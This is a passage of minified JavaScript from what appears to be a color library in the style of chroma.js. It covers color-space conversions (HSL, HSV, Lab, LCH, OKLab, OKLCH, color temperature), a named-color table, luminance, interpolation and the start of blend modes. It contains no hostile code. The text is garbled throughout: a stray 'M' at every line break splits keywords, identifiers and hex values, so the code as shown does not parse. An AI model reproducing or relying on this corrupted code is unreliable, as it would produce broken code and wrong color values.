;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
